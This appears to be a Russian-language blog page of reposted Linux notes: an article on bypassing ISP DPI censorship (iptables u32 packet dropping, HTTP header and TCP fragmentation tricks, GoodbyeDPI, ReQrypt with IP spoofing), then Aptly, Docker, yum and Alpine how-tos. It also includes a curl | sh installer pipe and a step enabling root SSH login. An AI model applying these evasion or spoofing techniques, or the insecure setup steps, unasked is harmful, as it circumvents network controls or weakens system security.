# iptables -A FORWARD -p tcp --sport 80 -m u32 --u32 "0x4=0x10000 && 0x60=0x7761726e && 0x64=0x696e672e && 0x68=0x72742e72" -m comment --comment "Rostelecom HTTP" -j DROP


Что это такое? Модуль u32 iptables позволяет выполнять битовые операции и операции сравнения над 4-байтовыми данными в пакете. По смещению 0x4 хранится 2-байтное поле Indentification, сразу за ним идут 1-байтные поля Flags и Fragment Offset.

Начиная со смещения 0x60 расположен домен перенаправления (HTTP-заголовок Location).

Если Identification = 1, Flags = 0, Fragment Offset = 0, 0x60 = «warn», 0x64 = «ing.», 0x68 = «rt.ru», то отбрасываем пакет, и получаем настоящий ответ от сайта.



В случае с HTTPS-сайтами, DPI присылает TCP Reset-пакет, тоже с Identification = 1 и Flags = 0.



Активный DPI

Активный DPI — DPI, подключенный в сеть провайдера привычным образом, как и любое другое сетевое устройство. Провайдер настраивает маршрутизацию так, чтобы DPI получал трафик от пользователей к заблокированным IP-адресам или доменам, а DPI уже принимает решение о пропуске или блокировке трафика. Активный DPI может проверять как исходящий, так и входящий трафик, однако, если провайдер применяет DPI только для блокирования сайтов из реестра, чаще всего его настраивают на проверку только исходящего трафика.



Системы DPI разработаны таким образом, чтобы обрабатывать трафик с максимально возможной скоростью, исследуя только самые популярные и игнорируя нетипичные запросы, даже если они полностью соответствуют стандарту.



Изучаем стандарт HTTP

Типичные HTTP-запросы в упрощенном виде выглядят следующим образом:

GET / HTTP/1.1
Host: habrahabr.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/50.0
Accept-Encoding: gzip, deflate, br
Connection: keep-alive


Запрос начинается с HTTP-метода, затем следует один пробел, после него указывается путь, затем еще один пробел, и заканчивается строка протоколом и переносом строки CRLF.

Заголовки начинаются с большой буквы, после двоеточия ставится символ пробела.



Давайте заглянем в последнюю версию стандарта HTTP/1.1 от 2014 года. Согласно RFC 7230, HTTP-заголовки не зависят от регистра символов, а после двоеточия может стоять произвольное количество пробелов (или не быть их вовсе).

   Each header field consists of a case-insensitive field name followed
   by a colon (":"), optional leading whitespace, the field value, and
   optional trailing whitespace.

     header-field   = field-name ":" OWS field-value OWS

     field-name     = token
     field-value    = *( field-content / obs-fold )
     field-content  = field-vchar [ 1*( SP / HTAB ) field-vchar ]
     field-vchar    = VCHAR / obs-text

     obs-fold       = CRLF 1*( SP / HTAB )
                    ; obsolete line folding


OWS — опциональный один или несколько символов пробела или табуляции, SP — одинарный символ пробела, HTAB — табуляция, CRLF — перенос строки и возврат каретки (\r\n).



Это значит, что запрос ниже полностью соответствует стандарту, его должны принять многие веб-серверы, придерживающиеся стандарта:

GET / HTTP/1.1
hoSt:habrahabr.ru
user-agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/50.0
Accept-Encoding:           gzip, deflate, br
coNNecTion:	keep-alive      ← здесь символ табуляции между двоеточием и значением


На деле же, многие веб-серверы не любят символ табуляции в качестве разделителя, хотя подавляющее большинство серверов нормально обрабатывает и отсутствие пробелов между двоеточием в заголовках, и множество пробелов.



Старый стандарт, RFC 2616, рекомендует снисходительно парсить запросы и ответы сломанных веб-северов и клиентов, и корректно обрабатывать произвольное количество пробелов в самой первой строке HTTP-запросов и ответов в тех местах, где требуется только один:

Clients SHOULD be tolerant in parsing the Status-Line and servers tolerant when parsing the Request-Line. In particular, they SHOULD accept any amount of SP or HT characters between fields, even though only a single SP is required.
Этой рекомендации придерживаются далеко не все веб-серверы. Из-за двух пробелов между методом и путем ломаются некоторые сайты.



Спускаемся на уровень TCP

Соединение TCP начинается с SYN-запроса и SYN/ACK-ответа. В запросе клиент, среди прочей информации, указывает размер TCP-окна (TCP Window Size) — количество байт, которые он готов принимать без подтверждения передачи. Сервер тоже указывает это значение. В интернете используется значение MTU 1500, что позволяет отправить до 1460 байтов данных в одном TCP-пакете.

Если сервер указывает размер TCP-окна менее 1460, клиент отправит в первом пакете данных столько, сколько указано в этом параметре.



Если сервер пришлет TCP Window Size = 2 в SYN/ACK-пакете (или мы его изменим на это значение на стороне клиента), то браузер отправит HTTP-запрос двумя пакетами:



Пакет 1:

GE
Пакет 2:
T / HTTP/1.1
Host: habrahabr.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/50.0
Accept-Encoding: gzip, deflate, br
Connection: keep-alive




Используем особенности HTTP и TCP для обхода активного DPI

Многие решения DPI ожидают заголовки только в стандартном виде.

Для блокировки сайтов по домену или URI, они ищут строку "Host: " в теле запроса. Стоит заменить заголовок «Host» на «hoSt» или убрать пробел после двоеточия, и перед вами открывается запрошенный сайт.

Не все DPI можно обмануть таким простым трюком. DPI некоторых провайдеров корректно анализируют HTTP-заголовки в соответствии со стандартом, но не умеют собирать TCP-поток из нескольких пакетов. Для таких DPI подойдет «фрагментирование» пакета, путем искусственного уменьшения TCP Window Size.



В настоящий момент, в РФ DPI устанавливают и у конечных провайдеров, и на каналах транзитного трафика. Бывают случаи, когда одним способом можно обойти DPI вашего провайдера, но вы видите заглушку транзитного провайдера. В таких случаях нужно комбинировать все доступные способы.



Программа для обхода DPI

Я написал программу для обхода DPI под Windows: GoodbyeDPI.

Она умеет блокировать пакеты с перенаправлением от пассивного DPI, заменять Host на hoSt, удалять пробел между двоеточием и значением хоста в заголовке Host, «фрагментировать» HTTP и HTTPS-пакеты (устанавливать TCP Window Size), и добавлять дополнительный пробел между HTTP-методом и путем.

Преимущество этого метода обхода в том, что он полностью автономный: нет внешних серверов, которые могут заблокировать.



По умолчанию активированы опции, нацеленные на максимальную совместимость с провайдерами, но не на скорость работы. Запустите программу следующим образом:

goodbyedpi.exe -1 -a
Если заблокированные сайты стали открываться, DPI вашего провайдера можно обойти.

Попробуйте запустить программу с параметром -2 и зайти на заблокированный HTTPS-сайт. Если все продолжает работать, попробуйте режим -3 и -4 (наиболее быстрый).

Некоторые провайдеры, например, Мегафон и Yota, не пропускают фрагментированные пакеты по HTTP, и сайты перестают открываться вообще. С такими провайдерами используйте опцию -3 -a



Эффективное проксирование для обхода блокировок по IP

В случае блокировок по IP-адресу, провайдеры фильтруют только исходящие запросы на IP-адреса из реестра, но не входящие пакеты с этих адресов.

Программа ReQrypt работает как эффективный прокси-сервер: исходящие от клиента пакеты отправляются на сервер ReQrypt в зашифрованном виде, сервер ReQrypt пересылает их серверу назначения с подменой исходящего IP-адреса на клиентский, сервер назначения отвечает клиенту напрямую, минуя ReQrypt.



ReQrypt



Если наш компьютер находится за NAT, мы не можем просто отправить запрос на сервер ReQrypt и ожидать ответа от сайта. Ответ не дойдет, т.к. в таблице NAT не создана запись для этого IP-адреса.

Для «пробива» NAT, ReQrypt отправляет первый пакет в TCP-соединении напрямую сайту, но с TTL = 3. Он добавляет запись в NAT-таблицу роутера, но не доходит до сайта назначения.



Долгое время разработка была заморожена из-за того, что автор не мог найти сервер с возможностью спуфинга. Спуфинг IP-адресов часто используется для амплификации атак через DNS, NNTP и другие протоколы, из-за чего он запрещен у подавляющего большинства провайдеров. Но сервер все-таки был найден, хоть и не самый удачный. Разработка продолжается.



Заключение и TL;DR

GoodbyeDPI — программа под Windows, позволяющая обходить пассивные и активные DPI. Просто скачайте и запустите ее, и заблокированные сайты станут снова доступны.

Для Linux есть аналогичная программа — zapret.



Используйте кроссплатформенную программу ReQrypt, если ваш провайдер блокирует сайты по IP-адресу.



Определить тип блокировки сайтов можно программой Blockcheck. Если в тестах DPI вы видите, что сайты открываются, или видите строку «обнаружен пассивный DPI», то GoodbyeDPI вам поможет. Если нет, используйте ReQrypt.



Дополнительная полезная информация есть здесь и здесь.

https://habr.com/post/335436/

xdg-utils для своей работы использует конфигурационные файлы расположенные в ~/.local/share/applications/. В данной директории есть файл mimeapps.list это список пользовательских типов, в него необходимо внести только одну строку:
( Read more... )
https://habrahabr.ru/sandbox/110020/

Возникла необходимость фиксировать локальный репозиторий разработчиков на конкретную дату, сравнивать эти состояния, откатываться назад и возвращаться к текущему состоянию, публиковать нужную версию.
Для этой цели отлично подошел продукт под названием Aptly.
развернуть
Принцип работы таков:

  • создается зеркало локального репозитория;

  • фиксируется текущее состояие созданием снмка (snapshot);

  • cнимки могут быть объеденены между собой (merge), сравнены (diff) и прочее;

  • публикуется выбранный снимок.




Очень хорошая, понятная документация на самом официальном сайте проекта: http://www.aptly.info/doc/overview/

Установка Aptly на Ubuntu 14.04:


Так как в основном репозитории Ubuntu нет пакета Aptly, для начала добавьте репозиторий разработчика в /etc/apt/sources.list прямым редактированием файла добавив в конец строку:

deb http://repo.aptly.info/ squeeze main

или выполнив команду:

# add-apt-repository 'deb http://repo.aptly.info/ squeeze main'

Не беспокойтесь на счет squeeze в названии репозитория: пакет Aptly будет работать на Debian squeeze+, Ubuntu 10.0+

Импортирйте ключ для репозитория:

# gpg --keyserver keys.gnupg.net --recv-keys 2A194991
# gpg -a --export 2A194991 | sudo apt-key add -

После этого можно устанавливать Aptly как любой другой пакет:

# apt-get update
# apt-get install aptly

установяться так же и зависимости: bzip2, gnupg and gpgv.

В целях безопасности команды aptly не следует выполнять из-под учетной записи root. Для этих целей создайте нового пользователя, например:

# adduser repokeeper

и залогиньтесь под ним:

# su repokeeper

Далее сгенерируйте gpg ключ для подписи своего репозитория. Делать это нужно именно из под учетной записи того пользователя, от имени которого впоследствии будут публиковаться снимки:

# gpg --gen-key

Если интропия вашкго компьютера достаточна, а именно более 800, то ключ благополучно сгенерируется. Сохраните пароль ключа в надежном месте.

Посмотреть уровень текущей интропии можно открыв еще одну консоль и выполнив:

cat /proc/sys/kernel/random/entropy_avail

Если долго ничего не происходит и вываливается ошибка:



это означает, что ваш компьютер бездействует и уровень интропии недостаточен.
Запустите какой-нибудь длительный тяжелый процесс на сервере, что бы его нагрузить или запустите в соседней консоли:

# cat /dev/urandom > randomfile

подождите пару минут, чтобы на диске создался файл приличного размера, затем прервите операцию нажав Ctrl+C.
Далее выполните:

# dd if=random of=/dev/null iflag=direct

и снова смотрите в файл /proc/sys/kernel/random/entropy_avail. В какой-то момент уровень энтропии поднимется до 800 и GPG сможет сгенерировать свой ключ.
Сохраните ключ в надежном месте. Для этого заархивируйте файл .gnupg в домашнем каталоге пользователя repokeeper и скопируте его для хранения или передачи иному пользователю.

# tar -czvf gnupg.tar.gz ~/.gnupg

На этом установка aptly закончена.

Настройка и работа с Aptly


Создание зеркала

Допустим имеется репозиторий разработчиков, который надо поставить на контроль версий публикуемых пакетов и вести его мониторинг. Для этого на нашем сервере с помощью установленного пакета Aptly создадим зеркало исходного репозитория разработчиков.
Перед созданием зеркала, сначала нужно импортировать открытый ключ удаленного репозитория в хранилище ключей:

# wget -O - http://repo.dev.domain.ru/repo.gpg.key | gpg --no-default-keyring --keyring trustedkeys.gpg –-import

Основной конфиг создайте из автосоздаваемого ~/aptly.conf в /etc/aptly.conf с указанием корневого каталога. В домашней папке конфиг удалите. Дело в том, что aptly сначала ищет конфигурационный файл в домашнем каталогк, затем в директории /etc.
Содержание файла aptly.conf:

cat /etc/aptly.conf



Создайте зеркало нужной ветки:

# aptly mirror create -architectures=amd64 repo-precise-1-main http://repo.dev.domain.ru/repo precise-1 main

где repo-precise-1-main произвольное имя нашего зеркала.
Aply любезно сообщит, что можно сделать дальше: "You can run 'aptly mirror update repo-precise-1-main' to download repository contents."

Запустите обновление зеркала:

# aptly mirror update repo-precise-1-main

Файлы сохраняются в rootdir/.aptly/pool/ в нашем случае в /var/cache/aptly/pool

Информация о зеркале:

# aptly mirror show repo-precise-1-main

Редактировать зеркало:

# aptly mirror edit -architectures="i386,amd64" repo-precise-1-main

Создание снимка (snapshot)


Создайте snapshot:

# aptly snapshot create repo-precise-1-main-20150505 from mirror repo-precise-1-main
где repo-precise-1-main-20150505 произвольное имя снимка.

Снэпшот не занимает дополнительного места на диске, хранит только список пакетов.
Можно создавать снэпшот в любое время. Затем можно объеденить (MERGE) несколько снепшотов в один с разной стратегией (Flag -latest chooses merge strategy: package with latest version “wins”):

# aptly snapshot merge -latest wheezy-final-20141009 wheezy-main-7.6

Проверка:

# aptly package show -with-references 'Name (nginx)'

Посмотреть список снепшотов:

# aptly snapshot list

Сравнить снепшоты:



Публикация снепшота


Опубликовать репозиторий из снепшота:

# aptly publish snapshot -architectures="i386,amd64" repo-precise-1-main-20150506

Указание -architectures="i386,amd64" обязательно, несмотря на то, что в документации сказано, что по умолчанию публикуются все доступные архетектуры.

При запросе ввести пароль (2 раза) от ключа GPG созданного ранее.
Если публикуется объедененный снепшот, то имя ветки нужно указать явно, например:

# aptly publish snapshot -distribution=wheezy wheezy-final-20141009

Посмотреть какой снепшот опубликован на текущий момент:

# aptly publish list

Сравнить с предыдущим снепшотом:

# aptly snapshot diff repo-precise-1-main-20150505 repo-precise-1-main-20150506-1

При наличии изменений опубликовать новый снепшот вместо предыдущего:

# aptly publish switch precise-1 repo-precise-1-main-20150506-1

При запросе ввести пароль (2 раза) от gpg ключа.

Удалить снепшот:

# aptly snapshot drop repo-precise-1-main-20150506

Нельзя удалить опубликованный снепшот, сначала надо опубликовать новый снепшот, затем удалить старый при необходимости.

Поместите публичный ключ в public:

# gpg --export --armor > /var/cache/aptly/public/repo.gpg.key


Доступ к репозиторию по протоколу HTTP


Для того, что наш репозиторий был доступен из браузера по http нужно установить и настроить вебсервер Apache.

# apt-get install apache2

Теперь нужно настроить вебсеревер так, что бы опубликовать директорию с нашим репозиторием '/var/cache/aptly/public' с опцией autoindexing.

Для этого создайте файл /etc/apache2/sites-available/aptly.conf следующего содержания:



Файлы логов должны быть созданы заранее и доступны для записи пользователю, от имени которго запускается Apache. В ubuntu это www-data:

# touch /var/log/apache2/aptly-error.log
# touch /var/log/apache2/aptly-access.log

Находясь в директории /etc/apache2/sites-available/ выполните:

# a2ensite aptly.conf

эта команда создаст алиас для файла конфигурации в /etc/apache2/sites-enabled/.

Перезапустите Apache:

# service apache2 reload

Теперь репозиторий будет доступен из браузера по адресу: http://your-server
Не забудьте проверить настройки файрвола.

Настройки на стороне клиента


Что бы подключить к нашему репозиторию новую машину и устанавливать из него пакеты добавьте в /etc/apt/sources.list прямым редактированием файла строку:

deb http://your-server/ precise-1 main
или выполнив команду:

# add-apt-repository 'deb http://your-server/ precise-1 main'
И импортируйте ключ репозитория:

# wget -O - http://repo.domain.ru/repo.gpg.key | sudo apt-key add -
или добавить ключ локально:

# apt-key add repo.gpg.key


Прочие дополнения


Для удобства пользователей можно разместить напоминание в виде html странички о том, как установить GPG ключ. Для этого в корне директории /var/cache/aptly/public/создайте файл readme.html:

sudo nano /var/cache/aptly/public/readme.html



В добавок ко всему Aptly обладает такой замечательной возможностью, как графическое отображение структуры репозитория в виде изображения в формате .png


Формирование картинки:

# aptly graph
Созданный .png файл скопируйте к себе на рабочий стол, например с помощью WinSCP.

Вот, что может получиться:



Troubleshooting


Ошибка при смене снэпшота:

# aptly publish switch trusty repo-trusty-1-main-20150904-01
Loading packages...
Generating metadata files and linking package files...
ERROR: unable to publish: unable to process packages: error linking file to /var/cache/aptly/public/pool/main/a/activiti/activiti.deb: file already exists and is different

Это происходит, когда версия файла в исходном репозитории сменилась, а сам файл остался тот же. В этом случае удалить файл по указанному пути и переопубликовать снепшот:

# aptly publish switch trusty repo-trusty-1-main-20150904-01

Публикации по теме:
Об Aptly: http://habrahabr.ru/post/225825/
Генерация gpg ключа: https://debian.pro/1424

Aptly – свой репозиторий с контролем версий
Настройка и управление репозиторием Debian с помощью Aptly
локальный репозиторий debian или ubuntu




Docker на i386-ом компьютере
https://launchpad.net/ubuntu/+source/docker.io
https://hub.docker.com/r/i386/
https://hub.docker.com/r/i386/centos/

Centos 6

docker search i386/centos
docker pull i386/centos:centos6
docker run --name centos6.9_bash -it i386/centos:centos6 /bin/bash
docker ps -a

docker start centos6.9_bash
docker attach centos6.9_bash

yum install epel-release
yum install python34

docker export centos6.9_bash | docker import - uzverss/centos6.9_i386_cython
docker images
docker save uzverss/centos6.9_i386_cython > centos6.9_i386_cython.tgz
docker rmi uzverss/centos6.9_i386_cython
docker load -i centos6.9_i386_cython.tgz
docker inspect uzverss/centos6.9_i386_cython
docker login
docker push uzverss/centos6.9_i386_cython:latest
docker logout
docker search uzverss
docker rmi uzverss/centos6.9_i386_cython
docker pull uzverss/centos6.9_i386_cython:latest
docker rm centos6.9_bash
docker run --name centos6.9_bash -it uzverss/centos6.9_i386_cython /bin/bash

Centos 7

docker pull i386/centos:latest
docker run --name centos7_bash -it i386/centos:latest /bin/bash



если есть необходимость, то ещё установить python-tools
http://ithelp21.ru/ustanovka-python-3-6-na-centos/

cd /usr/src
curl -O https://www.python.org/ftp/python/3.6.5/Python-3.6.5.tar.xz
tar xf Python-3.6.5.tar.xz
cd Python-3.6.5

./configure
make
make install

Сборка с оптимизацией



http://rpm.pbone.net/

вместо make install checkinstall



cd
curl -O https://bootstrap.pypa.io/get-pip.py
python3 get-pip.py

pip install -U pip
pip install -U pyrasite
pip install -U virtualenv
pip install -U xonsh
pip install -U cython



exec "$SHELL"
pyenv update
pyenv versions
pyenv install 3.6.5


напоминалка по командам centos
https://habr.com/post/301292/

отображение команд и опций
# yum help

список названий пакетов из репозиторий
# yum list

список всех доступных пакетов
# yum list available

список всех установленных пакетов
# yum list installed

установлен ли указанный пакет
# yum list installed httpd

список установленных и доступных пакетов
# yum list all

список пакетов, относящихся к ядру
# yum list kernel

отображение информации о пакете
# yum info httpd

список зависимостей и необходимых пакетов
# yum deplist httpd

найти пакет, который содержит файл
# yum provides "*bin/top"

поиск пакета по имени и описанию
# yum search httpd

# yum search yum

получить информацию о доступных обновлениях безопасности
# yum updateinfo list security

вывести список групп
# yum grouplist

вывести описание и содержимое группы
# yum groupinfo "Basic Web Server"

установка группы пакетов «Basic Web Server»
# yum groupinstall "Basic Web Server"

удаление группы
# yum groupremove "Basic Web Server"

Проверка на доступные обновления
# yum check-update

список подключенных репозиториев
# yum repolist

информация об определенном репозитории
# yum repoinfo epel

информация о пакетах в указанном репозитории
# yum repo-pkgs epel list

установить все пакеты из репозитория
# yum repo-pkgs reponame install

удалить пакеты установленные из репозитория
# yum repo-pkgs reponame remove

создать кэш
# yum makecache

проверить локальную базу rpm (поддерживаются параметры dependencies, duplicates, obsoletes, provides)
# yum check

# yum check dependencies

просмотр yum истории (вывод списка транзакций)
# yum history list

просмотр информации определенной транзакции (установленные пакеты, установленные зависимости)
# yum history info 9

отмена транзакции
# yum history undo 9

повторить
# yum history redo 9

дополнительно можно просмотреть лог
# cat /var/log/yum.log

удалить пакеты сохраненные в кэше
# yum clean packages

удалить все пакеты и метаданные
# yum clean all

установить пакет
# yum install httpd

удаление пакета
# yum remove httpd

обновить пакет
# yum update httpd

обновить все пакеты
# yum update

обновить до определенной версии
# yum update-to

установить из локальной директории (поиск/установка зависимостей будут произведены из подключенных репозиториев)
# yum localinstall httpd.rpm

или
# yum install httpd.rpm

установить с http
# yum localinstall http://server/repo/httpd.rpm

откатиться к предыдущей версии пакета
# yum downgrade

переустановка пакета (восстановление удаленных файлов)
# yum reinstall httpd

удаление ненужных более пакетов
# yum autoremove

создание локальных репозиториев (createrepo ставится отдельно)
# createrepo

установка обновлений по расписанию (yum-cron устанавливается отдельно)
# yum-cron



Опции Yum

ответить «yes» при запросе,
-y

# yum update -y

ответить «no» при запросе
--assumeno

использовать Yum без плагинов
--noplugins

или отключить определенный плагин
--disableplugin=fastestmirror

включить плагины, которые установлены, но отключены
# yum --enableplugin=ps

включить отключенный репозиторий
# yum update -y --enablerepo=epel

отключить репозиторий
# yum update -y --disablerepo=epel

скачать пакеты, но не устанавливать
(на Centos 7 x86_64 будут скачаны в '/var/cache/yum/x86_64/7/base/packages/')
# yum install httpd --downloadonly


Cледующие команды доступны после установки пакета yum-utils

найти из какого репозитория установлен пакет
# find-repos-of-install httpd

найти процессы, пакеты которых обновлены и требуют рестарта
# needs-restarting

запрос к репозиторию, узнать зависимости пакета, не устанавливая его
# repoquery --requires --resolve httpd

синхронизировать yum репозиторий updates в локальную директорию repo1
# reposync -p repo1 --repoid=updates

проверить локальный репозиторий на целостность
# verifytree URL

завершить транзакции
# yum-complete-transaction

установить необходимые зависимости для сборки RPM пакета
# yum-builddep

управление конфигурационными опциями и репозиториями yum
# yum-config-manager

запрос к локальной базе yum, отображение информации о пакете
(использованная команда, контрольная сумма, URL с которого был установлен и другое)
# yumdb info httpd

скачать rpm пакеты из репозитория
# yumdownloader

скачать src.rpm пакет из репозитория
(должен быть подключен соответствующий репозиторий, например в '/etc/yum.repos.d/CentOS-Sources.repo' в CentOS)
yumdownloader --source php


Конфигурационные файлы Yum и их расположение

Основной конфигурационный файл
/etc/yum.conf

директория, с конфигурациями (например, yum плагины)
/etc/yum/

директория, содержащая информацию о репозиториях
/etc/yum.repos.d/


Некоторые опции yum.conf:

Директория, где yum хранит кэш и файлы базы (по умолчанию '/var/cache/yum')
cachedir=/var/cache/yum/$basearch/$releasever

Определяет должен или нет Yum хранить кэш заголовков и пакетов после успешной установки. Значения: 0 или 1. (по умолчанию 1)
keepcache=1

уровень вывода отладочных сообщений. Значения: 1-10 (по умолчанию 2)
debuglevel=2

лог файл (по умолчанию '/var/log/yum.log')
logfile=/var/log/yum.log

обновлять устаревшие пакеты
obsoletes=1

проверка подписи пакетов. Значения: 0 или 1 (по умолчанию 1)
gpgcheck=1

включение плагинов. Значения: 0 или 1 (по умолчанию 1)
plugins=1



Некоторые полезные плагины

Добавляет опцию командной строки для просмотра ченжлога перед/после обновлениями
yum-plugin-changelog

выбирает более быстрые репозитории из списка зеркал
yum-plugin-fastestmirror

добавляет команды keys, keys-info, keys-data, keys-remove, которые позволяют работать с ключами.
yum-plugin-keys

блокировать указанные пакеты от обновления, команда yum versionlock
yum-plugin-versionlock

добавление команд yum verify-all, verify-multilib, verify-rpm для проверки контрольных сумм пакетов
yum-plugin-verify


Работа Yum через прокси сервер

Для всех пользователей:
добавить в секцию [main] в /etc/yum.conf
proxy="http://server:3128"

при необходимости указать пароль, добавить
proxy_proxy_username=user
proxy_password=pass

указать прокси для отдельного пользователя
# export http_proxy="http://server:3128"


Alpine Linux
https://alpinelinux.org/downloads/
https://wiki.alpinelinux.org/wiki/Alpine_Linux_package_management
https://pkgs.alpinelinux.org/packages
https://wiki.alpinelinux.org/wiki/XFCE_Setup

docker search i386/alpine
docker pull i386/alpine
docker run --name alpine_sh -it i386/alpine /bin/sh

apk update
apk info
apk search
apk add python3
apk add cython

cd
wget https://bootstrap.pypa.io/get-pip.py
python3 get-pip.py

pip install -U pip
pip install -U pyrasite
pip install -U virtualenv
pip install -U xonsh

docker export alpine_sh | docker import - uzverss/alpine_i386_cython
docker push uzverss/alpine_i386_cython

чтобы подключаться по ssh под рутом
vi /etc/ssh/sshd_config
PermitRootLogin yes
затем /etc/init.d/sshd restart


uzverss docker команды
установка Django в virtualenv с помощью pip через proxy с pyenv

Для тестирования хороших и не очень инструментов под Android, :) необходима реальная платформа в виде настоящего телефона/планшета или же виртуальный эмулятор ее. В этом посте, я подготовил небольшую инструкцию, как поднять эмулятор Android у себя на компьютере с помощью Docker, быстро и бесплатно. Которая может кому-либо пригодится.



1. Обновляем систему.
apt update && apt upgrade -y

2. Устанавливаем Docker.


Следом docker-compose.


Включаем сервис.
systemctl enable docker && systemctl start docker

Перезагружаемся.
reboot

3. Подготовим docker-compose.
mkdir ~/docker && nano ~/docker/docker-compose.yml



4. Запускаем образ.
cd ~/docker && docker-compose up -d

После того как наш образ загрузится, открываем браузер (Chrome, Firefox), и переходим по адресу: http://IP:6080
и получаем наш Nexus 5, с Android 7.1.1.

5. Остановить приложение.
cd ~/docker && docker-compose down

Несколько замечаний:

1. Тестировалось на Kali 2017.3 64, с небольшими изменениями можно запустить на Ubuntu/Debian, на Windows необходимо установить
docker и docker-compose своим способом.

2. Оперативной памяти на VM/Хосте должно быть выделено не менее 2GB для успешного запуска эмулятора.

3. Если вы выполняете эти действия на виртуальной машине, как и я, необходимо включить "Nested Virtualization" в настройках вашего гипервизора.
Здесь инструкции как это сделать для vmware. Но нужно учесть что, из-за вложенной виртуализации CPU, заметно пострадает производительность,
в эмуляторе.

Официальный репозиторий проекта.

На Ubuntu/Debian изменения только в установке самого Docker, делается одной командой:

curl -sSL https://get.docker.com/ | CHANNEL=stable sh

https://codeby.net/threads/ustanavlivaem-ehmuljator-android-7-1-pod-kali-linux.61809/
https://medium.com/@AndreSand/android-emulator-on-docker-container-f20c49b129ef
j2me в ubuntu
https://code.google.com/archive/p/microemu/downloads

запуск waydroid в ubuntu

Profile

uzverss: (Default)
uzverss

December 2024

S M T W T F S
12345 67
891011121314
15161718192021
22232425262728
293031    

Syndicate

RSS Atom

Most Popular Tags

Page Summary

Style Credit

Expand Cut Tags

No cut tags
Page generated Sep. 26th, 2026 11:34 pm
Powered by Dreamwidth Studios